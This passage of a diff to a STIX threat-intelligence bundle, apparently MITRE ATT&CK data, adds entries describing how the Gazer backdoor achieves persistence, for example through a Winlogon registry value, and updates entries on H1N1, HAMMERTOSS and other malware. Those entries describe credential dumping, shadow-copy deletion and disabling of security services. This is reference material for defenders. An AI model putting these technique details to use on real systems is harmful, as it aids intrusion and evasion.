+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--07f83a39-8bb0-44f1-9c81-7291ba10dd03",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer can establish persistence by setting the value \u201cShell\u201d with \u201cexplorer.exe, %malware_pathfile%\u201d under the Registry key <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon</code>.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--2fb450c6-e236-4b81-b5ac-a9d4be0cf167",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer can establish persistence by creating a .lnk file in the Start menu. ",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--eb0307d6-901d-4140-84f9-a08c6a8ea14c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer can establish persistence by creating a scheduled task. ",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--7ec988a7-712a-45ae-b6b3-db26a6515b80",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer can establish persistence by creating a .lnk file in the Start menu or by modifying existing .lnk files to execute the malware through cmd.exe. ",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--deb7df24-689e-4e4e-909f-a270241ab65a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer logs its actions into files that are encrypted with 3DES. The malware also stores configuration items in alternate data streams if the Registry is not accessible. It also uses RSA to encrypt resources.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--8db1b5bd-8f0c-4c13-8667-c83713ce799e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer can execute a task to download a file.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--59543467-938a-4528-961d-a539f0a5618b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer identifies a proxy server if it exists and uses it to make HTTP requests.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--61047751-c353-4190-bc37-19ad959bc35e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer communicates with its C2 servers over HTTP.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--85c95ce3-8685-4d2a-9d6f-7e4be4cd9623",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer has commands to delete files and persistence mechanisms from the victim.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--c354bbc0-74c4-4805-b6e6-f33f49272f86",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer versions are signed with various valid certificates; one was likely faked and issued by Comodo for \"Solid Loop Ltd,\" and another was issued for \"Ultimate Computer Support Ltd.\"",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--1dfbe8fe-0e7a-42a7-85f0-a94b086b470b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "For early Gazer versions, the compilation timestamp was faked.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d219ed2b-2877-450f-9a69-a30f36497d14",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer obtains the current user's security identifier.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--b4f8c479-aab5-481d-aa04-922677da108a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer can establish persistence through the system screensaver by configuring it to execute the malware.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--2e69a835-6443-455e-8ff0-775bb8c823f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "GeminiDuke collects information on local user accounts from the victim.",
             "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
@@ -41253,7 +49011,7 @@
             "id": "relationship--1b3cc0cb-de43-405b-bfa5-f0bececabf8c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "GeminiDuke collects information from the victim, including installed drivers, programs previously executed by users, programs and services configured to automatically run at startup, files and folders present in any user's home folder, files and folders present in any user's My Documents, programs installed to the Program Files folder, and recently accessed files, folders, and programs.",
             "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
@@ -41274,7 +49032,7 @@
             "id": "relationship--ae9befd5-d8b7-4492-9b47-422a40d610cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "GeminiDuke collects information on programs and services on the victim that are configured to automatically run at startup.",
             "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
@@ -41295,7 +49053,7 @@
             "id": "relationship--847752f4-59a2-46e9-ae28-befe0142b223",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "GeminiDuke collects information on network settings and Internet proxy settings from the victim.",
             "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
@@ -41316,7 +49074,7 @@
             "id": "relationship--3363ae54-1fe3-4c9f-b074-79dc0d7fbba5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "GeminiDuke collects information on running processes and environment variables from the victim.",
             "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
@@ -41337,7 +49095,7 @@
             "id": "relationship--b5a1cf65-c128-4d2e-bd28-54514d1a3aae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "GeminiDuke uses HTTP and HTTPS for command and control.",
             "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
@@ -41358,7 +49116,7 @@
             "id": "relationship--98aeed7c-e88b-4c5b-8e8e-21ee3534abe9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 uses a custom packing algorithm.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
@@ -41379,7 +49137,7 @@
             "id": "relationship--4527c528-8377-4349-ae5c-95c04cabd3d4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 uses multiple techniques to obfuscate strings, including XOR.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
@@ -41400,7 +49158,7 @@
             "id": "relationship--8961d93e-ec51-42dd-8f76-54d46ea21967",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 bypasses user access control by using a DLL hijacking vulnerability in the Windows Update Standalone Installer (wusa.exe).",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
@@ -41421,7 +49179,7 @@
             "id": "relationship--1082a68e-549b-47d5-9eb3-e719f01ce42b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 kills and disables services for Windows Firewall, Windows Security Center, and Windows Defender.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
@@ -41442,7 +49200,7 @@
             "id": "relationship--4a419b18-5fb2-43a0-8c0a-6521b8d9de63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 kills and disables services by using cmd.exe.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
@@ -41463,7 +49221,7 @@
             "id": "relationship--0d4e8cb8-c265-449a-b010-f4614135572f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 dumps usernames and passwords from Firefox, Internet Explorer, and Outlook.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
@@ -41484,7 +49242,7 @@
             "id": "relationship--ca8ed9e2-f7a6-4d54-b450-94c187b1f9b6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 encrypts C2 traffic using an RC4 key.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
@@ -41505,7 +49263,7 @@
             "id": "relationship--c79d7110-46bb-4b6d-a256-87bd1b6379a3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 obfuscates C2 traffic with an altered version of base64.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
@@ -41526,7 +49284,7 @@
             "id": "relationship--a7e5ffbc-d123-4f62-88eb-36b32656cd35",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 contains a command to download and execute a file from a remotely hosted URL using WinINet HTTP requests.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
@@ -41547,7 +49305,7 @@
             "id": "relationship--2d090e9d-f9fb-4f73-99df-0e17a7489adb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 deletes shadow copies from the victim.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
@@ -41568,7 +49326,7 @@
             "id": "relationship--5b2682dc-f64d-482b-8fc4-132dad2727d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 has functionality to copy itself to removable media.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
@@ -41589,7 +49347,7 @@
             "id": "relationship--1539eaf6-e4ea-4e9d-af2b-2594d1ca5b38",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 has functionality to copy itself to network shares.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
@@ -41610,7 +49368,7 @@
             "id": "relationship--77ea5d03-715b-4247-8484-6c1cf2bc7984",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HALFBAKED can use WMI queries to gather system information.",
             "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
@@ -41631,7 +49389,7 @@
             "id": "relationship--d6154157-fe69-4da3-8cc3-790eecf33f8c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HALFBAKED can obtain information about the OS, processor, and BIOS.",
             "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
@@ -41652,7 +49410,7 @@
             "id": "relationship--61fa303b-a9ff-419f-b3ac-96e43e37b6e5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HALFBAKED can obtain information about running processes on the victim.",
             "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
@@ -41673,7 +49431,7 @@
             "id": "relationship--b4795040-fe94-429a-9853-f30c09ba05aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HALFBAKED can obtain screenshots from the victim.",
             "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
@@ -41694,7 +49452,7 @@
             "id": "relationship--bfdffca9-6418-486d-833f-84f3920fcb71",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HALFBAKED can execute PowerShell scripts.",
             "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
@@ -41715,7 +49473,7 @@
             "id": "relationship--d0013f9d-4243-4ade-8d06-a2cd6158ca58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HALFBAKED can delete a specified file.",
             "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
@@ -41736,7 +49494,7 @@
             "id": "relationship--c7420523-7dc0-4118-a075-93f9c0268627",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The \"tDiscoverer\" variant of HAMMERTOSS establishes a C2 channel by downloading resources from Web services like Twitter and GitHub. HAMMERTOSS binaries contain an algorithm that generates a different Twitter handle for the malware to check for instructions every day.",
             "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
@@ -41757,7 +49515,7 @@
             "id": "relationship--4556634c-06f7-48f9-bcaa-22d023524068",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The \"Uploader\" variant of HAMMERTOSS visits a hard-coded server over HTTP/S to download the images HAMMERTOSS uses to receive commands.",
             "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
@@ -41778,7 +49536,7 @@
             "id": "relationship--34c4b497-00e3-415c-8e09-3b73667d9bbe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HAMMERTOSS is controlled via commands that are appended to image files.",
             "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
@@ -41799,7 +49557,7 @@
             "id": "relationship--a3eca9d0-bc4b-48a8-801d-9aaa757bfe72",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HAMMERTOSS is known to use PowerShell.",
             "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
@@ -41820,7 +49578,7 @@
             "id": "relationship--3ebc8829-f260-4d75-817a-cd23a4ebb194",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
